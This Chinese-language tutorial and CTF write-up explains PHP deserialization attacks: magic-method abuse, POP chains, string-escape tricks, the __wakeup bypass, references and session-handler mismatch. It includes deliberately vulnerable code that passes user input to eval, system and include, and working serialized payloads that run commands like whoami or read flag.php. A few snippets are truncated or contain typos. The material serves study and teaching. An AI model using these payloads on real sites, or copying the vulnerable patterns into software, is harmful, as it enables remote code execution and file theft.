反序列化

序列化是将变量以键值对的形式储存,方便电脑解读,而反序列化会将序列化后的内容进行解析,而解析后的内容只于输入的内容有关,而与序列化的内容无关(漏洞的根本所在)。

利用php里serialize()序列化函数,和unserialize()反序列化函数触发魔术方法或者利用字符串逃逸来利用漏洞

类与对象(与c++类似)

类的概念

类是一个抽象的概念,是统称

对象是一个具体的事物

如水果是一个类,而香蕉是一个对象

1
2
3
4
5
6
7
8
9
10
11
<?php
class hero{
var $name;
var $sex;
function jineng($var1) {
echo $this->name;
echo $var1;
}
}
$a=new hero()
?>

类的组成

类被包含在class{}里面

包括成员属性(类里面的变量)如里面的$name

成员函数(类里面的函数)如 jineng($var1)

魔术方法也是成员函数

对象的产生

如上方的 $a=new hero(),将类进行实例化产生了对象。

权限的修饰符

有三种public,private,protect

public:在类外与类内都能访问。

protect:可以在类内访问,还可以在子类(继承)里访问。

private:只能在类内访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
class hero{
public $name='chengyaojin';
private $sex='man';
protected $shengao='165';
function jineng($var1) {
echo $this->name;
echo $var1;
}
}
class hero2 extends hero{
function test(){
echo $this->name."<br />";
echo $this->sex."<br />";
echo $this->shengao."<br />";
}
}
$cyj= new hero();
$cyj2=new hero2();
echo $cyj->name."<br />";
echo $cyj2->test();
?>

代码里有两个类,hero与hero2,hero2是hero的子类

实例化了两个对象,cyj,和cyj2;

由于name属于public所以会先输出一个chengyaojin

调用text()方法,再一次输出chengyaojin,由于sex属于private,hero2无法访问,无法输出man,由于shenggao属于protect,hero2作为子类可以访问,输出165

序列化的基础

序列化是将数据以一种规律保存

1
2
3
$a=1              //序列化后i:1;
$a=1.0 //序列化后d:1;
$a=true //序列化后b:1;
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class hero{
var $name;
var $sex;
function jineng($var1) {
echo $this->name;
echo $var1;
}
}
$a=new hero();
echo serialize($a);
?>
$a序列化后 //O:4:"hero":2:{s:4:"name";N;s:3:"sex";N;} //N代表值为空(NULL)

反序列化

是将序列化后的内容进行还原

补充,想要打印一个的对象,可以用var_dump(),或者是print_r()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class hero{
var $name="chengyaojin";
var $sex="man";
function jineng($var1) {
echo $this->name;
echo $var1;
}
}
$a=new hero();
$b=serialize($a);
var_dump($b);
?>
//输出为object(hero)
#2 (2)
{ ["name"]=> string(11) "chengyaojin" ["sex"]=> string(3) "man" }

反序列化漏洞

利用序列化数据的值可控,产生漏洞

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?>

可以看到成员方法displayVar()内部有eval()可以利用该漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
可以利用以下方法构造payload,将成员方法全部删除,只保留类
<?php
class test{
public $a = 'echo "this is test!!";';
}

$b=new test();
$b->a="system('whoami');";
echo serialize($b);
?>
//输出为O:4:"test":1:{s:1:"a";s:17:"system('whoami')";}
payload即为O:4:"test":1:{s:1:"a";s:17:"system('whoami');";}
也可以手动构造
对象序列化的数据特征为
O:类名长度:"类名":成员属性个数:{s:成员属性名长度:"成员属性名";变量类型:长度:"变量值";};
1
最后用get方法提交?benben=O:4:"test":1:{s:1:"a";s:17:"system('whoami');";}

页面回显 laptop-gjd0hfbt\落

到这里已经成功利用反序列化漏洞

魔术方法

出现在类里面,在某种情况下会自动触发

构造函数

_construct 会在对象创建时自动触发,利用反序列化产生类时不会触发__construct。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "构造函数触发" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);

?>
//输出为 构造函数触发

_destruct()

_destruct()在类摧毁时自动触发,利用反序列化产生类时会触发__destruct。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser);

?>
1
2
3
4
5
6
7
8
9
10
11
<?php
class User {
var $cmd = "echo 'dazhuang666!!';" ;

}
$a = new User();
$a->cmd = "system('whoami');";
echo serialize($a);
?>
//构造payload O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";}
利用get传参?benben=O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";}

页面回显 laptop-gjd0hfbt\落,利用成功

_sleep()

_sleep()在对对象进行序列化时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class User {
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
system($this->username);
}
}
$cmd = $_GET['benben'];
$user = new User($cmd, 'b', 'c');
echo serialize($user);
?>
1
2
直接传入?benben=whoami
页面返回 laptop-gjd0hfbt\落

_wakeup()

_wakeup()在对对象进行反序列化时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class User {
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
system($this->username);
}
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
构造payload
<?php
class User {
public $username;
public $nickname;
private $password;
private $order;

}
$a=new User();
$a->username="whoami";
echo serialize($a);
?>

//输出为O:4:"User":4:{s:8:"username";s:6:"whoami";s:8:"nickname";N;s:14:"Userpassword";N;s:11:"Userorder";N;}
注意private变量在属性名前面还加了%00类名%00
payload:?benben=O:4:"User":4:{s:8:"username";s:6:"whoami";s:8:"nickname";N;s:14:"%00User%00password";N;s:11:"%00User%00order";N;}
页面成功返回laptop-gjd0hfbt\落

_toString()

将对象当成字符串来调用时触发

1
2
3
4
5
6
7
echo 与print 只能调用字符串的方法调用对象
<?php
class User {
var $benben = "this is test!!";
public function __toString()
//输出为User Object ( [benben] => this is test!! )
//触发_toString()!

_invoke()

_invoke再将对象当成函数调用时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '_invoke触发!';
}
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben; //将其看成一个函数了text()触发_invoke
?>

//输出this is test!!
// _invoke触发!

下面是一些不太常用的魔术方法

1._call 调用不存在的方法和参数时触发

1
2
3
4
5
6
7
8
9
10
11
<?php
class User {
public function __call($arg1,$arg2) //第一个参数为错误函数名,第二个参数是传入的值
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a'); //不存在callxx()方法触发_call
?>
//输出为callxxx,a

2._callStatic() 在调用静态成员方法时触发(使用::调用函数)

1
2
3
4
5
6
7
8
9
10
11
<?php
class User {
public function __callStatic($arg1,$arg2) //第一个参数为错误函数名,第二个参数是传入的值
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a'); //不存在callxx()方法触发_callStatic
?>
//输出为callxxx,a

3._get() 在调用成员属性不存在时触发

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User {
public $var1;
public function __get($arg1) //参数为变量名
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2; //不存在var2变量触发_get()
?>
//输出 var2

4._set() 给不存在的成员属性赋值时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class User {
public $var1;
public function __set($arg1 ,$arg2) //第一个参数为变量名,第二个参数为其值
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1; //不存在var2,并且将其赋值为1,触发_set()
?>

//输出为var2,1

5._isset()对不可访问属性用isset()或empty()时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class User {
private $var;
public function __isset($arg1 ) //参数为变量名
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var); //var为私有属性不能再类外访问,触发_isset()
?>

//输出为var

6._unset()对不可访问属性用unset()时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class User {
private $var;
public function __unset($arg1 ) //参数为变量名
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var); //var为私有属性不能再类外访问,触发_unset()
?>

//输出为var

7._clone()使用clone()函数克隆对象时触发

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User {
private $var;
public function __clone( )
{
echo "__clone 触发!";
}
}
$test = new User() ;
$newclass = clone($test)
?>
//输出为__clone 触发!

pop链

pop链是通过观察源代码,看里面的魔术方法(一般是一层套一层的),通过多个魔术方法之间的关系触发雪崩式反应。一般是利用倒推法,从漏洞触发的地方反推

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
这是一道经典的例题
<?php
//flag is in flag.php
class Modifier {
private $var; //flag.php
public function append($value) //2.可以看到这里有文件包含,让var=flag.php
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var); //1.可以看到这里是触发的地方——》找到append()函数,看哪里将类当成函数执行
}
}

class Show{
public $source; //new Show
public $str;
public function __toString(){
return $this->str->source; //4.这里面有$str,而text类中没有,刚好触发_get(),想要出发_toString()需将其当成字符串
}
public function __wakeup(){
echo $this->source; //5.将source以字符串形式输出,可将其值为自己类的一个实例化
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function(); //3.可以看到这里将$function当成函数,将p实例化为Modifier对象,这里为_get()方法,利用一个不存在的成员属性
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>

上面有五步,通过这样反推理清楚关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
按照以上步骤,构造payload
<?php
class Modifier {
private $var="flag.php";
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

$a=new Modifier();
$b=new Test();
$b->p=$a;
$c=new Show();
$c->source=$c; //后面用到的
$c->str=$b;
echo serialize($c);
?>

//输出为O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}} //注意私有属性
构造payload:?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1
{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

得到flag为:ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
1
2
3
4
5
6
开始我将$c->source=c; 改为 $c->source=new Show (); 不行
//输出为
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";N;}s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
未得到flag,第二次new Show() 相当于新创建一个对象d
原因;$c->source=$c 是自引用,同一个 Show 实例,str挂载在这个实例上,递归二次__destruct可以读到str;
new Show() 是新建另一个独立 Show 对象,新对象没有赋值`str=$b`,里面是空,POP 链断了。

字符串逃逸

核心利用原理是将序列化内容经过str_replace()函数,字符个数发生改变,分为增多和减少,再对过滤后的内容进行反序列化。

字符逃逸增多类型

字符替换后增多回吐出多余字符,而在一个已经完整的序列化数据后面有其他内容都不会影响这个序列化数据

1
O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";}   等价于O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";}82yiuehfahf//无论输入什么都不会影响

并且字符长度由s:这个数:决定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name); //每有一个php就会吐出一个字符
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){ //利用字符串逃逸将pass的值改为escaping
echo file_get_contents("flag.php");
}
?>

需要吐出的字符为 “;s:4:”pass”;s:8:”escaping”;}有29个字符 需要输入29个php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$b='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
$a=new test($b);
echo serialize($a);
?>

//可以这样payload为?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

页面回显flag为ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

字符串逃逸减少

字符替换后减少吃掉其他字符,而在一个已经完整的序列化数据后面有其他内容都不会影响这个序列化数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name); //每出现一个flag吃掉两个字符,出现一个php吃掉一个字符
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
echo file_get_contents("flag.php");
}
?>
//输入有pass和user两个第一个将前面的吃掉,第二参数个补充
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
&u=1;
$p='123456';
$a=new test($u,$p);
echo serialize($a);
?>
//输出为O:4:"test":3:{s:4:"user";s:1:"1";s:4:"pass";s:6:"123456";s:3:"vip";b:0;}
看出这一部分需要被吃掉";s:4:"pass";s:xx:"有19个字符可以用9个flag与一个php构造
$u='flagflagflagflagflagflagflagflagflagphp';
$p='";s:4:"pass";s:1:"a";s:3:"vip";b:1;}';
将$u和$p分别赋值

构造payload:?user=flagflagflagflagflagflagflagflagflagphp&pass=";s:4:"pass";s:1:"a";s:3:"vip";b:1;}
页面回显flag为ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

wakeup绕过

当序列化的内容对应成员属性个数大于实际成员属性个数时,反序列化不会触发_wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){
include_once($this->file);
echo $flag;
}

function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){ //正则表达式过滤,冒号后面不能加整数
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
由题可知,需要让file的值为flag.php,并且不能触发_wakeup()方法
<?php
class secret{
var $file='index.php';

}
$a= new secret();
$a->file='flag.php';
echo serialize($a);
?>
//输出为O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
只需要将secret后面的1增大,并用加号绕过正则表达式//6=+6
构造payload:?cmd=O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
//注意将payload进行url编码,+在url会被解析为空格必须进行url编码
?cmd=O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

页面回显flag为:ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

引用

当需要匹配一个参数等于另一个参数时,可以用引用将两个捆绑起来,一个只改变另一个会跟着改变 &(引用符)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include("flag.php");
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
由题知,需要让secrit的值恒等于enter的值,这样可以用引用
<?php
class just4fun {
var $enter;
var $secret;
}

$a=new just4fun();
$a->secret=&$a->enter; /这里用到引用
echo serialize($a);
?>

//输出为O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

构造payload:?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

页面回显为:Congratulation! Here is my secret: ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

Session反序列化

session在内部有三种保存方法

1.通过php的方式保存,格式为键名+竖线+serialize()函数处理过的值 //默认为php方式保存

2.直接通过序列化来保存

3.通过binary方式保存,格式为键名长度对应的ASCLL字符+键名+序列化的值

漏洞产生原因

出现session start()时保存的session值自动反序列化,当保存session值与使用session值的方式不同,产生漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>

hint.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class Flag{
public $name;
public $her;
}
$a=new Flag();
$a->name=&$a->her;
echo serialize($a);
?>

//输出为O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
读取时,默认以php方式读取,会将|后面的内容反序列化
构造payload:?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

页面回显flag为:ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}